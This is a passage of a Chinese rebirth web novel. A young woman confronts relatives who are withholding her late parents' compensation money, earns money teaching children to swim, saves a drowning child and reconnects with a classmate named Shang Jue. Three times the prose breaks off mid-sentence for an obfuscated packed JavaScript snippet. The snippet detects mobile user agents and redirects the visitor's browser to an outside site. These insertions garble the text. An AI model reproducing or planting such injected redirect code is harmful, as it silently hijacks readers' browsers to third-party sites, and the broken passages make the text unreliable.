要不她上辈子不会注意商决呢,学生和学神之间差了快五个连,她的眼睛哪儿有那么长。 祝明月不敢再看自己的成绩,语气虚弱地问米莱,“米莱,你考得怎么样,有没有达到你定下的目标?” 对米莱这个学霸来说,成绩不光是数字,还是检测她阶段性学习成果的重要指标。 米莱没看她的成绩,将祝明月拉到单科成绩前十的名单前,示意祝明月看,声音依旧不大:“明月,你英语148分,好厉害!” 米莱没怎么在学校里看到祝明月学英语。 早自习时祝明月通常在偷偷摸摸赶作业,被英语老师乔莹抓到过好几次,每次祝明月总是认真道歉,后头不知和英语老师说了些什么,从此英语早自习祝明月再赶作业也没被英语老师点过名。 难不成,就是向英语老师保证自己会认真学习? 米莱好奇,想了想祝明月的性子,小心翼翼问了她,祝明月没有隐瞒:“其实我就是告诉英语老师我的作业做不完,熬夜也做不完,然后说话的时候眼眶红一点点,在乔老师心软的时候向她保证,只要上课点我回答问题我一定会认真回答,如果没有回答好,她随时可以没收我自习做作业的权利。” 老师归根到底是一份工作,老师不是恶人,学生和老师从来不敌对,只要理由不牵强,老师都很通情达理。 这是祝明月在社会上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093907|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸爬滚打几年逐渐摸索出来的,娱乐圈讲资历和背景,没背景的怎么办呢?嘴巴甜一点,做事勤快点,脸皮厚一点,做了好事就让人知道,留个好印象,必要时刻努力争取机会。 不争不抢在娱乐圈永无出头日。 要不怎么说黑红也是红。 听了祝明月的话,米莱震惊,在老师面前装可怜这个方法她还是第一次听说,磕磕绊绊问:“那……你一直赶作业,怎么学英语呢?” 或许是怕祝明月介意,米莱赶忙摆起双手解释,“我不是那个意思,我不是想知道你学英语的秘籍,我只是觉得你很厉害,就是好像天然的英语母语者那样厉害。” 祝明月被米莱可爱到,忍不住抱着她晃了起来,她本身个子就比米莱高,整个把米莱圈在怀里,像是抱着一只无尾熊。 米莱不好意思,红着脸回抱祝明月,鼻尖都是祝明月身上的鸢尾花香气。 祝明月说:“米莱,你太可爱了,我真高兴能和你交朋友。” 米莱脸更红了,祝明月说话总是直白真诚,毫不吝啬夸奖,和祝明月交朋友后,听到夸奖的次数就更多了,试卷考了还不错的分数会被夸,主动问她要不要去厕所会被夸,说话声音大点会被夸,祝明月简直是个行走的夸夸机。 她在心里想,我也是。 成绩看完,回教室的路上,祝明月将自己学英语的方法告诉她:“谈不上秘籍,英语就和中文一样,都是语言,靠的是日积月累,多背单词,记住词义,多看英语书或者英文剧,遇上介词填空题,就靠这种日积月累的语法直觉,就像是中文说久了,我们自然知道量词的使用方法,不会出现一棵板凳,一张树这样的错误用法。” 米莱全程点头,听得认真无比。 她成绩还不错,班级前五名总是有的,只可惜英语总徘徊在一百二,尤其她口语不好,即便知道正确答案,每次站起来回答还是会结巴,所以米莱迫切想要改变。 祝明月很能理解米莱的心理。 她以前不明白为什么大家对学历如此崇拜,等脱离学校进入社会,累死累活干着兼职,还没有人家一次家教工资高,后头进娱乐圈,一大把九漏鱼里,她的学历居然称得上高,祝明月难免觉得讽刺。 祝明月语气认真:“你成绩已经很不错了,不要太焦虑,我家里有一本我很喜欢的全英文小说,我明天带来学校借你,遇到不会的你就查字典,做记录,一本看完,肯定会有收获的……” 祝明月和米莱在前方嘀嘀咕咕说着学习的方法,身后,戴亦星和她的朋友们听了个七七八八。 胡晓琳撇了下嘴,满是鄙夷,“祝明月成绩差得要命,还好意思给米莱传授经验,不知道米莱是吃错什么药,居然和祝明月成了朋友。” 这话一出,得到几人附和,“而且你们不觉得祝明月像是变了一个人吗?明明上学期一副要死不活的样子,可可当时和她同桌,还说要和祝明月交朋友,结果第二天就被拒绝了。” 张可莎记起这回事,不过她稍微夸大了一些事实。 她当时是邀请祝明月一起去上厕所,这在她们女生心里几乎默认为交朋友的信号。 而祝明月头也不抬,冷漠地拒绝,被她转述出来,就是祝明月拒绝和她当朋友。 张可莎有些心虚,不太想谈论这件事。 正要带过,戴亦星的声音先一步响起:“这次月考祝明月英语148,为什么不可以传授经验,另外,我不喜欢背后说人坏话,我先上楼了。” 戴亦星说完,没管其他朋友的脸色,直径进了教室。 教室里,祝明月正撑着脸做题,秀气的眉依旧皱着,据戴亦星的观察,祝明月皱眉,五成是在做物理题,三成是在做数学题,两成是在做化学题。 看皱眉深度,大概率是物理。 走近,果不其然是物理练习册。 戴亦星为自己猜测准确会心一笑。 12. 第 12 章 祝明月自然不知道戴亦星对她的关注,月考结束不意味她可以松懈,高中生活就是这样,忙得像是陀螺,只有高考完才能短暂轻松片刻。 这之后,读大学,每日勤勤恳恳上早八生怕逃课挂科,大学没读完就要找实习工作,倒贴钱上班积累实习经验,大学毕业要么考公考编,要么校招进公司,错过应届生身份可是要遭罪的,没有理由的gapyear是所有HR眼里的原罪。 匆匆忙忙的一生可不会因为读完高中就按下暂停键。 国庆假期共五天,祝明月没再去兼职,第一日将月考中的错题和知识点整理一遍,专心纠错,忙了一个上午,出来接水的间隙,瞧见祝山川背着书包准备出门。 祝明月的直觉让她叫住他:“祝山川,你要去干什么?” 祝山川动作一僵,缓缓转过身,在祝明月探究的目光下,坦白道:“我准备去……去舅舅家……” 去舅舅家干什么不言而喻—— 要钱。 祝知勉和齐岳因公死亡的抚恤金加丧葬费有将近两百万,舅舅手中有妈妈祝知勉的身份资料和相关证明,仗着祝明月姐弟俩不懂,领取了那笔钱,将祝知勉和齐岳银行卡中存款一并转移,承诺每月定期给生活费,剩余的等两人成年后全部归还。 多伟光正的话,钱在舅舅祝国强手里,祝明月他们想要反倒要看舅舅一家的脸色。 祝明月当即将手中水杯放下,口吻强硬不容祝山川拒绝,“我要和你一起去,你等我换件衣服。” 祝明月朝房间走两步,猛地转身,眼睛盯住祝山川,像射出两道激光,“敢先走我锤死你!” 祝山川弱弱应声:“……哦,好。” 直到坐上公交车,祝山川都在试图劝祝明月回家,只可惜语言组织能力薄弱,没能动摇祝明月的心。 “姐,今天天气很热,你待在家里吧,我下午刚好要去兼职,顺路,等我回来给你带奶茶,你想喝什么?” “我也顺路,反正我下午没事做,至于奶茶,中午吃了你做的大餐,暂时没胃口。” “姐,我不是小孩子,我知道怎么去舅舅家,而且只是拿生活费,不麻烦的。” “我也不觉得麻烦,好久没去舅舅家,正好探望探望他。” “姐,你最怕热了,我出门没带小电风扇,中暑就不好了。” “公交车上不是有空调吗,热不到你姐的。” 祝山川还要开口,祝明月扭过头,直视祝山川,一句话就让他闭了嘴,“我很累,想休息一会儿,等到了舅舅家你记得叫我下车。” 不给祝山川说话的机会,祝明月阖眼靠在坚硬的座椅上。 片刻,胳膊被祝山川戳了戳,“……姐,你把我书包垫在脑袋下吧,会舒服些。” 祝明月没睁眼,脑袋抬起来一些,让祝山川好将书包塞到她脑后。 有书包垫着,比直接靠上去舒服多,祝明月也是真的累到了,跟随公交车充满节奏的颠簸,祝明月睡了个满足。 再睁眼,已经到了舅舅祝国强居住的天府小区停车站。 祝明月和祝山川姐弟俩走下车,太阳火热毒辣,晒得人睁不开眼,祝山川及时撑开伞遮在祝明月头顶。 天府小区算江城中高端住宅之一,是舅舅祝国强结婚时买的房子,买房子时祝国强连一份像样的工作都没混到。 祝家是典型的重男轻女家庭,就为了外公嘴里的男孩好,祝知勉出生后不到一年外婆就生了祝国强。 姐弟俩岁数相差无几,性格却天差地别。 祝知勉和她名字一样,勤勉好学,读书时成绩总名列前茅,是典型的别人家的孩子,祝国强也和他名字一样,国家越来越好,和他本人关系却不大。 可能是从小笼罩在姐姐祝知勉的阴影下,祝国强高中没读完就辍学,当了汽修学徒,混日子过程中认识了舅妈陈美娟,祝国强嘴甜,肯给陈美娟花钱,两人还没领证就怀了孩子,外公外婆怕未婚先孕的丑闻传开,便答应了陈美娟各种无理要求,催着两人领证结婚。 无理要求的背后,牺牲的是作为姐姐的祝知勉,大学还没毕业就要给弟弟出首付钱。 祝知勉不是傻子,她没有将钱直接给弟弟,以赡养费的名义转给了外公外婆,让两人签字作证。 这种‘大逆不道’的行为气得外公跳脚,假装犯心脏病进医院吓唬祝知勉,偏偏被外婆无情戳穿。 外婆让祝知勉离开江城,去找她自己的生活。 人就是如此复杂的动物,妈妈厌恶外公的重男轻女,但总会为外婆的偏爱而动容。 最终,外公拗不过祝知勉,在协议上签了字,热热闹闹给祝国强和林美娟办了婚礼。 戏剧性的一幕就在这里—— 祝国强以为林美娟是真的怀了两人的爱情结晶。 林美娟以为祝国强是真的全款买了房子。 发现彼此隐瞒的真相后,两人差点在结婚的第一个月就离婚,这过程免不了鸡飞狗跳。 祝明月是没机会见那场景,不过祝知勉没隐瞒,在祝明月好奇时全部告诉她,并认真说明这是错误的,建立在谎言上的关系是摇摇欲坠的。 对祝明月而言,祝知勉不仅仅是妈妈的角色。 祝知勉有妈妈的母性光辉,让祝明月拥抱她时觉得安心,又有朋友的平等尊重意识,让祝明月喜欢向她倾诉。 有父母在,祝明月可以当一辈子的小孩儿,因此,祝明月很能理解上辈子自己颓丧的高中三年,她不愿意接受父母的离世,不愿意用理性处理亲情关系的缺失。 她雾蒙蒙的活着,以为这样自己会好受些。 察觉到祝明月的沉默,祝山川心头跟着抽痛一下,他不知道祝明月是否和他一样想起了父母。 祝山川觉得,肯定是。 否则他的心不会也这么难受,祝山川轻轻呼吸一口,一点点释放那种酸涩胀痛的情绪。 祝山川提起笑,“姐,是不是很热,你去便利店吹会儿空调,我在店里买点水果,找舅舅拿完生活费我就来找你。” 祝明月回神,摇头。 “不用,买什么水果,来了就是客,没让舅舅招待我们就算我们懂事。” 祝山川一时震惊。 不过祝明月说什么他都附和, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093908|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是他点头,“好,我们直接上楼。” 电梯一路到了祝国强居住的楼层,敲门后,两人站着等了将近三分钟,祝明月不耐烦,再次用力敲了一遍,这回终于有人开门了。 开门的是祝家瑞,是舅舅祝国强的独生子,比祝山川和祝明月大一岁,今年读高三,个子和祝山川差不多,一米八出头。 大概是午休刚起床,他揉了揉自己乱糟糟的头发,嗓音有些哑,“明月,山川?你们怎么来了,我妈中午还在说给你们打电话让你们来吃饭你们不肯。” 看,这就是陈美娟的高明之处,她总能表现得圆滑而妥帖,面子工程到位,是人人口中赞赏的祝家媳妇儿,祝知勉和丈夫齐岳则成了那个白眼狼,仿佛一切都是祝明月家不通情理的错。 祝 明月和祝山川今天可是一个电话都没接到。 “进来吧,我给你们拿饮料。”祝家瑞说。 舅舅家全屋安装空调,客厅冷气充足,很是洗刷两人周身的炎热。 不等祝明月婉拒,林美娟从房间走出来,棕色小卷发配金耳钉,打扮富态潮流。 看到祝明月两人,脸上立时挂上笑,截住祝明月的话,“哎呀,是明月和山川啊,你们怎么来了,也不提早说一声,我还想着晚上让你舅舅回家时顺带给你们送些水果和月饼呢,你们也能好好过个节。” 祝明月扯扯嘴角,用笑容敷衍都不愿意,开门见山:“不用了,舅妈,我们是来要生活费的,一个月一千不够,两千,转账还是现金?” 林美娟的笑容僵在脸上,她很快调整好表情,露出不解:“明月,你这是……” “我们没钱了。” 祝明月只说这句话。 林美娟表情愈发难看,“明月,不是舅妈讲究,大过节的要钱,寓意不好,不吉利,再说了,钱我和你舅舅每月都给了,至于跑上门来吗,让周围邻居瞧见了还以为是我们虐待孩子。 “你也别怪舅妈多嘴,你和祝山川是学生,在学校能花多少钱,不就吃个饭买两支笔吗,虽说你爸妈留了笔钱,但现在钱越来越不值钱,你和山川不能光啃老本,还是要省着点用。” 说了几句,见祝明月倔着脸不肯服软,林美娟先退让,以一种糊弄小孩的语气开口:“好了好了,知道这些话你们孩子不爱听,但舅妈也是为你和山川两人好,不就是钱吗?我现在就去拿,不要为了钱伤了感情,家和万事兴嘛,你说对不对?” “不对!” 祝明月回视林美娟,双手攥紧垂在身侧,气愤到身子微微发颤:“钱是我爸妈用命换的,我爸妈要是知道我和祝山川天天吃不饱饭,还要靠兼职赚钱,在另一个世界也不会安宁,你要是真为我和祝山川好,就不该每个月只给一千块的生活费!” 祝明月语速快,掷地有声,林美娟一时没能打断,绷紧了脸,面色发青,死死盯着祝明月。 祝家瑞在一旁听得直皱眉,“妈,你们每个月就给明月一千块钱?” 他一周除去生活费,零用钱都有将近一百,而祝明月和祝山川两个人居然才一千块? 这和告诉他的根本不一样。 13. 第 13 章 被自己捧在掌心的儿子用怀疑的目光看着,林美娟心头涌起一阵阵难堪。 她努力挂起笑脸,走上前两步,抓住祝明月胳膊,用了点力气,捏得祝明月胳膊泛白。 “明月你这不是睁眼说瞎话吗,我和你舅舅什么苛待过你们,生活费是和你们过商量才这么给的呀,你早说不够,你舅舅就是把房子卖了也要让你们吃饱饭,知勉和齐岳不在了,你们就舅舅这一个亲人,你舅舅不爱护你们还有谁爱护你们。” 她试图将话题带过,祝明月偏不退让:“那就给钱。” 成年人最擅长的就是糊弄和撒谎。 假笑说之后有消息会联系她,假笑说下部剧的女一是她的,假笑说跟了这个大老板她就能翻身成功,一路辉煌。 甜蜜的诱哄背后全是陷阱,跳进去的人全是傻子。 重生一回的祝明月坚决不当这个傻子。 林美娟脸上的笑挂不住了,瞬间垮下,一副祝明月不识好歹的表情。 从祝明月说第一句话开始就呆滞一旁的祝山川终于反应过来,他扯开林美娟的手,将祝明月护在身侧。 祝山川:“舅妈,一千生活费真不够,我们吃不饱,既然你说爱护我们,那就三千吧,三千够我和我姐一个月生活。家里要交水电煤气费,夏天热,空调费是大头,我和我姐白天都不敢开空调,晚上共用客厅空调。在学校吃饭不敢多花,早晨吃两块钱的白粥,中午和晚上吃四块钱的素粉素面,生怕花多了找你们要惹你们烦。既然你都这么说了,我再矜持下去也不对。不过您放心,您和舅舅每次给生活费的时候我都有记录,除了我爸妈的抚恤金,我和我姐不会多花你们一分钱。亲兄弟还明算账呢,你和舅舅帮我们保存抚恤金,我们已经很感谢了,等我和我姐有工作了,能赚钱了,你和舅舅就等着享福吧。” 知识分子就是聪明,有理有据,末了还捆绑上了亲情,饶是一向长袖善舞的林美娟都无话可说。 她不愿意在自家孩子面前丢面子,可让她真的每个月给祝明月三千她更不愿意。 两百万的抚恤金外加二十多万的存款,已经被他们挪用了将近三分之二,她和妹妹的投资的项目还在进行中,钱一时拿不回来,照祝明月姐弟这个要钱方式,指不定哪天就狮子大开口全部要走。 到时候,她和祝国强要怎么给,去哪里变出来这么多钱? 林美娟脸色肉眼可见的难看,正转脑子想如何拒绝,书房门被打开,祝国强走出来,从身后拿出一个信封。 祝国强:“一万,你们姐弟到年末的生活费,是我没考虑好,多的一千算我提前给的压岁钱,今天节日,你们姐弟俩好好去餐馆吃一顿。” 祝山川迅速伸手,接过信封,“知道了,谢谢舅舅。” 祝国强拍拍祝山川肩膀,以长辈的口吻道:“在一中还好吧,有什么事就来找我,舅舅在学校还是有些人脉的。” “学校一切都好。” 林美娟怒视祝国强,祝国强装没看见,“行了,钱收拾好,别丢了,祝家瑞,去送送你弟弟和妹妹。” 三人出了门,门合上那一瞬,祝明月听见从屋内传出的争吵声—— “就你一个大善人是不是?那你倒是长点本事多赚点钱啊,一天到晚无所事事,我上辈子是造了什么孽和你祝国强结婚!” 电梯沉默下降,祝明月和祝山川走出电梯,祝家瑞开口,是一句道歉:“明月,山川,对不起。” 三人不是小学生,十七八岁的年纪,距离成年如此近,说听不懂就太假了。 “没什么好对不起的,”祝明月朝他挥手拜拜,“家瑞哥,你好好学习,不要耽误了明年的高考,我和山川等着吃你的升学宴。” 祝家瑞看着祝明月,用最简单的黑发圈扎高马尾,穿着白色短袖,袖口有些变形,露出一双纤细瘦长的手臂,和去年差不多,瘦得可怜,但眼里多了一股生气,那是姑姑和姑父尚在人世时祝明月一直拥有的。 很显然,祝明月已经不需要欲盖弥彰的安慰。 祝家瑞双唇张合半天,最终回了个好。 去公交站路上,祝山川安安静静撑伞遮阳,期间,时不时瞄一眼祝明月,欲言又止。 大概是双胞胎的心灵感应,尽管祝明月一脸平静,可祝山川总觉得祝明月没消气。 祝明月的确没消气。 她生气祝山川的隐瞒,无论是上辈子还是这辈子,分明她是那个当姐姐的人,却兀自陷入亲人去世的悲伤,让祝山川承担起了一切。 祝明月生气到想责怪祝山川,想捶祝山川,可她忽的又不忍心。 何必呢,父母去世,难不成只有她一个人悲伤难过,祝山川就好受吗? 或许十七岁的祝明月整日愤世嫉俗,以为不幸是被世界针对,但二十七岁的祝明月不会。 这中间隔了将近十年的时光,祝明月改变了许多,她明白自己当时的迁怒是多么的无礼且伤人。 祝明月看着高一个自己个头的祝山川,目光变得柔和慈爱。 她踩上路肩,视线勉强与祝山川齐平,祝山川跟着调整遮阳伞的位置,确保她不被太阳晒到。 祝明月示意他低头。 祝山川不解,又乖乖照做,祝明月抬手,在他脑袋顶揉了揉,茂密的黑色短发,像是狸花猫的毛,摸起来柔顺略微刺挠。 祝明月直白开口:“以后来舅舅家要生活费我都和你一起,你不准一个人来,否则我会生气。” 祝山川整个人愣住。 重生这件事,祝明月没告诉任何人,即便是祝山川,祝明月也不希望他多一件需要思虑的事情。 何况,重生对祝明月来说,毫无任何助力,她只是担心自己性格变化太大,她亲爱的弟弟祝山川会困惑。 沉吟几秒,祝明月解释:“一个人总是没有两个人好,不是吗?” 祝山川眼眶微红,他看着祝明月,嘴角上扬,笑了起来,露出左侧浅浅的酒窝。 “姐,我知道的,我是你弟弟。” 祝明月看着祝山川的笑容,想起稍微明了事理后她曾因双胞胎却做了姐姐而看祝山川不爽。 祝山川小时候身体不好,过敏原多,三天两头生病做雾化,祝明月身体强悍似牛犊,因此,十分埋怨父母对祝山川过多的偏爱,甚至用不吃饭来反抗这种‘不公平’。 没多久,祝明月就因为面黄肌瘦被父母带去外省权威儿童医院看病,当时出远门坐的是火车,去一趟路程将近二十小时,一来一回花了快一周时间。 回程路上,为了让祝明月睡得舒服些,祝知勉用柔软的毯子裹住祝明月,和齐岳两人轮换着抱。 祝明月躺在祝知勉温暖的怀抱中,看着父母劳累的面容,鼻尖酸酸的,心仿佛揪成一团。 她当时还不明白内疚这种复杂的情绪,只觉得是难过和伤心,小声问祝知勉,“妈妈,你们是不是更喜欢弟弟?” 她至今仍记得祝知勉的神情,是一种显而易见的心疼。 祝知勉轻柔地摸着她的脸,问她:“为什么这么觉得呢,所以这段时间不开心是因为这个吗?” 也是那次,祝明月才知道自己当姐姐不单纯是被护士先抱出的缘故。 祝知勉想让祝山川磨练性子,让祝明月这个姐姐能理所当然地使唤弟弟,有主见地做出决定,比起当被守护的妹妹,独当一面的祝明月才更不错。 所以,上辈子的祝明月迟迟不愿意接受父母离世的事实,幸福的家庭某一瞬支离破碎,祝明月还怎么去期望未来能比当下更好呢。 既然有重来一次的机会,比起怨天尤人,祝明月更想珍惜这倒流的时光。 就比如此刻。 告别去兼职的祝山川,祝明月在回程路上发现了一家新开的游泳馆,游泳馆门口立着超大横幅和广告牌,还有藏在角落里的招聘信息。 借着乘凉的功夫,祝明月坐在大堂沙发处,仔细观察进入游泳馆的消费者群体,再次为自己找到了一个新的兼职工作。 舅舅家保存的赔偿金能否顺利归还无法保证,毕竟上辈子就是舅舅和舅妈将赔偿金拿去搞投资项目,最后颗粒无收,反倒将自家存款赔得所剩无几,舅舅和祝家瑞在两人面前下跪,流着泪恳求说一定会还钱。 至于商决那边,祝明月不敢多打扰。 一是商决直白的拒绝,不过这可能和她当时死不要脸的话术有关,二是祝明月害怕自己的‘追求’对商决造成困扰。 祝明月知道自己长得好看,因为外表追求她的人数不胜数,不是没有那种死皮赖脸的追求者,整日笑嘻嘻出现在她面前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093909|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶也赶不走,做一些只能自我感动的事情,嘴巴上还挽尊般说认识认识当个朋友。 祝明月烦那些人烦得要死。 现在对象一改,祝明月换位思考,认为对商决而言,自己和那些死缠烂打的追求者没有任何区别。 因此,上回祝明月感谢商决的方式只是托赵拾正给商决了一瓶椰奶。 别看椰奶小,三百多毫升,足足要了祝明月八块钱! 早知如此,不如给商决买串葡萄或者一个红心蜜柚,实用又实在。 祝明月的兼职工作简单,并不直接受聘于游泳馆,趁着开业优惠,祝明月购买了游泳馆的周卡。 进了游泳馆,目标明确,找寻带着孩子的家长。 主动向其推销教小朋友游泳,她口才好,脸上挂着笑,三言两语就让小朋友闹着要学。 教小朋友是项技术活儿,祝明月全程靠鼓励,教小朋友简单的闭气和换气,学会了就在泳池里狗刨,刨会了,小朋友也高兴,小朋友高兴,家长自然乐意结账给工资。 靠着这种方法,祝明月在国庆假期这个旺季里,一直干到了收假的最后一天。 偏偏是最后一天出了个小插曲。 新修建的游泳馆设备齐全,泳池边有三名戴工牌的救生员来回巡视,但泳池大,游泳的人多,出了意外总要反应一会儿才知道该往哪个地方救人。 祝明月刚结束完教学,自由泳了一个来回就撞上因不熟悉场地不小心往深水区游的小朋友。 小朋友被水呛到说不出一句完整的话,两只手在水面上来回扑腾,断断续续喊着救命。 等祝明月回过神,身体已经诚实地扎进水中,朝小朋友的方向奋力游去,将溺水的小朋友往岸边带。 好在救生员很快发现了祝明月这边的情况,在岸边伸手捞了一把,两人合力将小朋友救上岸。 没时间和祝明月打招呼,救生员弯腰跪在地上给小朋友做急救措施。 动静有些大,岸边和泳池里看热闹的人群蜂拥而至,将救生员周边挡得严严实实。 祝明月休息也没时间,一边叫喊着让人群后退一边艰难爬上岸,将人群往后赶,为救人留出足够的空间。 场馆冷气开得足,猛然脱离泳池,祝明月裸露在外的胳膊顿时起了一层鸡皮疙瘩,但她时刻注意着救小朋友的救生员,顾不上太多。 等小朋友吐出水,坐起身,哑着嗓子哭喊着找父母,祝明月才松口气。 也是这时,她才发现自己身上不知何时被人披上了一条宽大的白色毛巾,毛巾厚实,吸水性好,恰好为她抵抗住场馆内的冷气。 祝明月裹紧毛巾,环视四周,与她对视的那些人眼神没一个落到毛巾上。 游泳馆不提供免费毛巾,有需要可以自行购买,但场馆内毛巾质量显然不如她手中这一条。 可,是谁给她的呢? 救人时潇洒,和小朋友父母沟通就麻烦多了,对方热泪盈眶,抱着小朋友一直鞠躬道谢要给她塞钱。 说不想要太假了,祝明月着实眼馋,但到底没拿,就像是她同小朋友父母说的那般,举手之劳。 再者,救助小朋友的还有那位救生员呢。 告别感恩戴德的一家人,祝明月往更衣室走,准备换下衣服早早回家吃饭。 方才救小朋友,被对方慌乱中一脚踹在心口,当时没觉得多疼,现在松懈下来,胸口疼得格外明显。 进了走向换衣室的通道,祝明月捂住胸口靠墙揉了揉。 祝明月现在胸脯发育远没有成年后好,尤其是她重生前吃得少,体重轻,胸口肋骨一根根凸出,上头就裹着层肉皮,肉皮连带着骨头被踹,那滋味,十指连心莫过于此。 商决拿着给郑嘉乐新买的毛巾进来拿东西时就看到这样一幕。 祝明月靠着墙壁,身躯微躬,深蓝色连体游泳服堪堪及膝,露出纤细笔直的腿,少女柔和的身材曲线一览无余,堪堪摘下泳帽的缘故,黑发卷曲散乱,偶有水珠顺着发梢滴落,在地板上形成一汪浅浅的水洼,倒影也是深蓝色的。 像是天幕将黑未黑的蓝。 意识到自己的注视不合时宜,商决挪开视线,正打算绕过祝明月,被祝明月叫住。 祝明月声音惊喜:“商决!你怎么在这儿?” 14. 第 14 章 祝明月顾不得胸口疼,几步跑到商决身前,眼眸莹亮。 “真的是你,好巧啊。”将近两周没有任何对话,祝明月试探地问,“你还记得我叫什么吧?” 那条毛巾又重新披到了祝明月身上,毛巾宽大,遮住她的身体。 不知为何,商决松口气,能够正常看她,话语照旧简短:“嗯。” 祝明月才不在意这些,商决记得她名字,愿意接她的话就已经很不错了。 依照上辈子祝明月对商决性格的了解,商决十分遵守‘不过三’的原则—— 和一个人连续接触超过两次就能基本确定对方的性格和为人,再见面是停下脚步还是转身离开已经是十分明确的选择。 不算这次,祝明月和商决的接触已经超过两次,而现在,商决停下脚步,回应了她的问题,对祝明月而言是释放可以交朋友的信号弹。 祝明月开心,语调控制不住扬起,絮絮叨叨说着:“对了,商决,你喝了我给你的那瓶椰奶吗?椰奶热量低,不算太甜,是小超市里能买到的价格最高的饮料,如果你不喜欢,你可以告诉我你喜欢喝的饮料吗,我下回再请你喝。不知道赵拾正有没有说清楚,那是谢礼,谢谢你上回请我吃饭,谢谢你送我去医务室,帮我买饭团。” 商决知道。 知道那是祝明月送的椰奶,知道祝明月送他椰奶的意思。 所以他处变不惊,倒是赵拾正表现激动,一连列举了许多祝明月暗恋他的证据和可能性,商决烦他,直接将他企鹅消息给屏蔽了,现在还没把他从黑名单里拉出来。 至于那瓶椰奶,商决还没喝。 “不用,我没有爱喝的饮料。” 话说出口,商决意识到自己表达方式有误,他只是不希望祝明月再给他送饮料,这句话的表达似乎过于冷冰。 祝明月丝毫没有觉察,认真想了想,“那就一个个尝试,总能遇上喜欢喝的饮料,对了,商决,你怎么在这里,你是来游泳的吗?” 喝不喝饮料并不耽误祝明月和商决多聊几句,只要两人聊天次数足够多,还担心无法成为朋友吗? 祝明月自我调侃之余不免幻想,要是商决头上顶着一个好感度进度条多好,那样祝明月就知道该怎么做和商决成为朋友了。 商决:“不是,陪家教的孩子上游泳课。” 游泳馆有专业教练负责指导的游泳课,上游泳课的泳池和祝明月使用的公共泳池不一样,独立泳池,人少,体验感更好。 但相对应的,专业游泳课价格高,很多家长怕交了钱孩子不肯学,这就给了祝明月这个游泳小健将机会,一对一教学,调动小朋友兴趣。 听到商决回答,祝明月了然点头。 和商决结婚前祝明月了解过商决的背景,母亲在他六岁时患病离世,自那之后父亲终日酗酒,家里收入来源是一家狭窄的麻将馆,就在他家楼下,整夜整夜开着,打牌的人吵闹至极,将商决逼去二楼最角落的小房间。 那里离麻将馆远,听到的噪音稍小些。 即便如此,因为父亲酗酒,家里总是入不敷出,如果不是商决成绩不错,学校免了他的学费,商决父亲恐怕连高中都不会让儿子去读。 祝明月想了想,主动解释自己出现在游泳馆的原因:“我也不是来游泳的,我教小朋友学游泳,算是兼职。” 游泳馆开业优惠,一周只需要88元,祝明月一节课两小时,收49元,主打游泳体验,不好不要钱,每天上午、下午一共四小时,四小时就能赚98元,比发传单更轻松。 祝明月兴致勃勃地讲述自己的赚钱头脑,大大咧咧告诉商决自己国庆假期赚到的兼职费用,神情颇显自豪。 至于刚刚救了一个小朋友的事情,祝明月一笔带过,对给她披毛巾的神秘人,言语间则满是遗憾。 祝明月微蹙眉:“不过不管是谁,我都很感谢,最好亲自道谢,再不济,把毛巾洗干净还给对方呀,可惜,不知道那个好心人是谁。” 商决一时不自在,思绪却忽地飘远。 他想起在办公室帮老师录分数时听到的有关祝明月的家庭情况,从发传单兼职,到游泳体验课兼职,祝明月似乎就没闲下来。 他好奇,话语脱口而出:“你很缺钱吗?” 祝明月奇怪地看他一眼,“当然。” 否则怎么会跑来兼职。 国庆这种最适合躺在床上吹着空调舒舒服服玩手机的长假,祝明月不敢浪费丝毫,至于作业什么的,自然是收假当天下午去学校赶最带劲。 商决沉默几秒,说出了今日第二句不符合他人设的话,“你会些什么,如果有合适的,我可以给你介绍。” “躺平。” 商决:“……” 意料之中的沉默。 祝明月哈哈大笑起来,露出一口洁白整齐的牙齿,场馆外璀璨的日光顺着瓷砖反射进来,格外晃人眼。 祝明月已经许久没有体会到这种调戏商决的感觉了。 换作二十七岁的商决,只会无奈笑笑,像看待顽皮孩子一样看她,淡定得让祝明月觉得无趣,而十七岁的商决,远没有成年商决的沉稳,心情直白写在脸上,让祝明月忍不住大笑。 商决不知道事情是如何发展的,总之,等祝明月裹着毛巾离开,商决已经和祝明月交换了联系方式。 电话、社交软件,备注都是祝明月。 按照商决的习惯,祝明月应当被划分到他严谨的类别分组中,可最终,商决将祝明月划分进未定分类的联系人当中。 不是朋友,不是老师,至于同学? 商决从不加任何无需二次联系的同学。 和商决交换联系方式时祝明月没拿手机,直接用他手机给自己打了个电话,等换好衣服拿出手机,祝明月才注意到那串熟悉的电话号码。 和上辈子商决的电话号码一模一样。 祝明月一面保存一面忍不住想,早知道商决没换电话号码,送椰奶当天就可以给他发消息表达自己的感谢。 